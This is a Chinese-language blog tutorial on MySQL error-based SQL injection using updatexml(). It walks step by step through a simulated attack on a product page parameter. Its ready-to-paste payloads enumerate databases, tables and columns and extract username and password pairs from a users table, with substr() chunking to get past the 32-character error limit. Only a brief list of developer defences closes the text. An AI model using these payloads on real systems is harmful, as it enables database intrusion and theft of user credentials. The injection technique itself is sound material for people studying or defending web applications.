本文最后更新于52 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
在报错注入中,updatexml() 的核心用法是:故意制造一个 XPath 语法错误,并在错误信息中夹带我们想要查询的数据。下面通过一个完整的攻击流程,结合实际例子来说明具体怎么操作。
🎯 前提条件
- 目标 MySQL 版本为 5.x(8.0 已移除此函数)。
- Web 应用存在 SQL 注入点(例如 URL 参数、表单输入)。
- 应用会直接输出数据库的详细错误信息(比如开发环境或配置不当)。
💣 操作步骤
1. 寻找注入点
假设有一个 URL:
http://example.com/product.php?id=1
尝试在 id 参数后加一个单引号:
http://example.com/product.php?id=1'
如果页面报错,说明存在注入。
2. 构造报错注入 Payload
基本格式:
' AND updatexml(1, concat('~', (子查询)), 1) --+
2.1 获取当前数据库名
http://example.com/product.php?id=1' AND updatexml(1, concat('~', database()), 1) --+
效果:页面报错类似 XPATH syntax error: '~testdb',数据库名 testdb 就泄露了。
2.2 获取所有数据库名(列表)
http://example.com/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1) --+
注意:group_concat() 可能返回超过 32 个字符,需要用 substr() 分段取。
2.3 获取当前数据库下的表名
http://example.com/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())), 1) --+
2.4 获取某个表(例如 users)的字段名
http://example.com/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')), 1) --+
2.5 提取数据(用户名、密码)
http://example.com/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(username, ':', password) FROM users)), 1) --+
⚠️ 长度限制处理
updatexml() 报错只能显示 32 个字符。如果数据过长,需要分段获取。例如:
-- 取前 30 位
' AND updatexml(1, concat('~', substr((SELECT group_concat(username) FROM users), 1, 30)), 1) --+
-- 取第 31 到 60 位
' AND updatexml(1, concat('~', substr((SELECT group_concat(username) FROM users), 31, 30)), 1) --+
📌 完整示例(模拟实战)
目标:获取 users 表中的 username 字段。
- 先确定表名:
id=1' AND updatexml(1, concat('~', (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), 1) --+
返回 '~users' → 表名为 users。
- 确定列名:
id=1' AND updatexml(1, concat('~', (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 1) --+
返回 '~id',继续换 LIMIT 1,1 得到 '~username',再 LIMIT 2,1 得到 '~password'。
- 提取数据:
id=1' AND updatexml(1, concat('~', (SELECT username FROM users LIMIT 0,1)), 1) --+
返回 '~admin'。
- 如果密码超过 32 位,分段拿:
id=1' AND updatexml(1, concat('~', substr((SELECT password FROM users LIMIT 0,1), 1, 30)), 1) --+
🛡️ 防御提示(给开发人员)
- 关闭错误回显,使用自定义错误页面。
- 使用参数化查询(Prepared Statements)。
- 禁用危险函数(如果版本可控,升级到 MySQL 8.0)。
总结
报错注入中搞 updatexml() 就是:
- 在注入点拼接
updatexml()函数。 - 第二个参数用
concat('~', 子查询)使 XPath 非法。 - 从错误信息中读出子查询的结果。
- 遇到长度限制就用
substr()分块。
记住这个模板,再根据具体表结构调整子查询即可。